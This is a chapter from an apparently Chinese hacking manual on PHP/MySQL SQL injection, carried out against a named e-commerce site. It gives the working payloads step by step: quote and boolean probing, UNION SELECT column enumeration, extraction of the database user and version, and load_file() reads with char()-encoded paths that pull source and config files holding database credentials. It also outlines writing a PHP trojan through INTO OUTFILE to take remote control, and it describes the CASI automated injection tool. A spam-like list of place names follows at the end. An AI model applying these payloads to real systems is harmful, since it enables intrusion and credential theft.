官术网_书友最值得收藏!

2.8 構造PHP注入攻擊

ASP注入攻擊很普及了,但是相對而言,PHP注入攻擊就沒有那么普及了。這一節(jié)中我們將對PHP+MySQL注入攻擊進行詳細的介紹。

2.8.1 手工PHP注入

我們以“顯卡團購”網(wǎng)站為例進行一次注入,找到注入點“http://go.dof.cn/eshop/php/Show.php? ID=6”,使用加單引號法在其后加上“' ”,返回信息為(圖136):

            Fatal error: Call to undefined function: numrows() in d:\loca
            lhost\virtualhost\go_dof_cn\eshop\php\show.php on line 37

從返回的出錯信息中可以得知網(wǎng)站的物理路徑“d:\localhost\virtualhost\go_dof_cn\eshop\php\show.php”。

再提交“and 1=1”,返回頁面正常顯示;再提交“and 1=2”,返回錯誤信息:“該商品暫時缺貨.請原諒返回”(圖136)。說明存在注入漏洞。

圖136 返回信息

繼續(xù)提交:“http://go.dof.cn/eshop/php/Show.php? ID=6 and 1=2 union select 1”,返回與圖136相同的提示。

再提交“and 1=2 union select 1,2”,也是返回錯誤提示。

依次提交,當提交到“http://go.dof.cn/eshop/php/Show.php? ID=6 and 1=2 union select 1,2,3,4,5,6,7,8”時,出現(xiàn)了沒有錯誤提示的頁面(圖137)。

圖137 沒有錯誤提示的頁面

在頁面中出現(xiàn)了Select后面的數(shù)字“2,4,5,7,8”,這些位置就是表示數(shù)據(jù)庫中表字段出現(xiàn)的位置。從中可以推測

2,7,8為字符型數(shù)據(jù),4,5為數(shù)字型數(shù)據(jù)。于是提交

            “union select 1, USER(),3, VERSION(), SESSION_USER(),6, DATABASE(),
            CURRENT_USER()”,

返回結果如圖138所示。

圖138 返回結果

其中USER( )、CURRENT_USER( )、SESSION_USER( )分別表示當前用戶名、連接數(shù)據(jù)庫的用戶;其中DATABASE( )表示當前數(shù)據(jù)庫,VERSION( )表示當前操作系統(tǒng)版本。從圖中可知當前操作系統(tǒng)為“Windows NT”,當前用戶為“root”,數(shù)據(jù)庫為“intershop”。

2.8.2 讀取PHP配置文件

提交語句“ and 1=2 union select 1,2,3,4,5,6,7, load_file(d:\localhost\virtualhost\go_dof_cn\eshop\php\show.php)”,其中l(wèi)oad_file( )函數(shù)是用來讀取顯示網(wǎng)站系統(tǒng)中某個文件的。

但是返回信息顯示出錯,這主要是因為服務器上的MYSQL數(shù)據(jù)庫在配置時,設置了“magic_quotes_gpc=On”,所以提交的變量中的“' ”、“"”、“\”和空格字符等都會被自動轉為含有反斜線的轉義字符。所以指定的文件路徑根本就不存在,從而返回了錯誤。

怎么才能正確返回讀取的文件呢?可以將文件路徑轉化為ASCII碼再進行提交。在這里“d:\localhost\virtualhost\go_dof_cn\eshop\php\show.php”轉為成ASCII碼后為:

            char(100,58,92,108,111,99,97,108,104,111,115,116,92,118,105,
            114,116,117,97,108,104,111,115,116,92,103,111,95,100,111,102,
            95,99,110,92,101,115,104,111,112,92,112,104,112,92,115,104,
            111,119,46,112,104,112)

所以提交如下語句:

            and 1=2 union select 1,2,3,4,5,6,7, load_file(char(100,58,92,
            108,111,99,97,108,104,111,115,116,92,118,105,114,116,117,97,
            108,104,111,115,116,92,103,111,95,100,111,102,95,99,110,92,
            101,115,104,111,112,92,112,104,112,92,115,104,111,119,46,
            112,104,112))

返回信息如圖139所示,頁面中的字符串就是“show.php”文件內(nèi)容。從返回的“show.php”文件中可以看到如下內(nèi)容:

            “require_once(' ./../../include/config.inc.php' ); //包含“配置
            文件””;

從該處可以知道配置文件的物理路徑為“d:\localhost\virtualhost\include\go_dof_cn\config.inc.php”。同樣可將路徑轉換為ASCII碼后進行提交:

            “and 1=2 union select 1,2,3,4,5,6,7, load_file(char(100,58,92,
            108,111,99,97,108,104,111,115,116,92,118,105,114,116,117,97,
            108,104,111,115,116,92,103,111,95,100,111,102,95,99,110,92,
            105,110,99,108,117,100,101,92,99,111,110,102,105,103,46,105,
            110,99,46,112,104,112))”;

圖139 返回信息

返回信息如圖140所示,這就是配置文件“config.inc.php”中的內(nèi)容。從配置文件中可以看到如下信息:

圖140 返回信息

            “//數(shù)據(jù)庫信息
            $dbhost="localhost"        //數(shù)據(jù)庫主機名
            $dbuser="root"      //數(shù)據(jù)庫用戶名
            $dbpasswd="******"   //數(shù)據(jù)庫連接密碼*******”

從中就可以看到連接數(shù)據(jù)庫的用戶名和密碼了。如果服務器開放了遠程SQL連接的話,就可以用SQL連接器連接上數(shù)據(jù)庫,用得到的用戶名和密碼來登錄。然后就可以進一步地使用insert語句將一個PHP木馬代碼寫入表中,再用into outfile語句導出到Web目錄下,就可對服務器進行遠程控制了。具體的操作在此不做敘述,留待讀者自行進一步深入學習。

在剛才的例子中,我們需要將字符串轉換為ASCII碼,可以用到這個注入格式轉換器。運行程序后,在“字符”中輸入文件路徑,然后單擊【轉換】按鈕,在下方的“ACS”中得到轉換后的代碼,單擊【Copy】按鈕將其復制到剪切板上(見圖141)。

圖141 注入格式轉換器

2.8.3 CASI自動PHP注入

CASI是圖形化的PHP注入工具,可以自動地報出用戶字段名、密碼字段名及其插入的位置。運行程序后,在“注射url”中輸入注入點地址,在“判斷字符”中輸入“mysql_fetch_array”,單擊【字段掃描】按鈕即可開始進行掃描(圖142)。掃描完畢后,在下方的瀏覽框中會顯示注入點頁面;并在“瀏覽器”組的“暴代碼”中顯示配置文件的路徑,Load_file()的插入字段位置;在“暴密碼”中顯示用戶名和密碼字段,并顯示其字段插入位置。按照上面介紹的手工注入的方法,就可以得到配置文件和用戶名及密碼等各種信息了。

此外,在CASI中還自帶了一個SQL連接器,當?shù)玫絊QL連接用戶名和密碼后,就可以用這個工具來連接,非常方便。

圖142 CASI V 1.10正式版

主站蜘蛛池模板: 山东| 都昌县| 塔城市| 巫溪县| 乡城县| 股票| 汨罗市| 马公市| 承德县| 伊宁县| 积石山| 黑山县| 伊金霍洛旗| 义乌市| 汕尾市| 汝州市| 义马市| 德昌县| 滦平县| 阿坝| 大兴区| 米林县| 赤壁市| 卢龙县| 宽甸| 溆浦县| 福海县| 临桂县| 南丹县| 团风县| 乌什县| 崇阳县| 正蓝旗| 岐山县| 南部县| 金门县| 宿迁市| 桂平市| 海淀区| 保德县| 乐都县|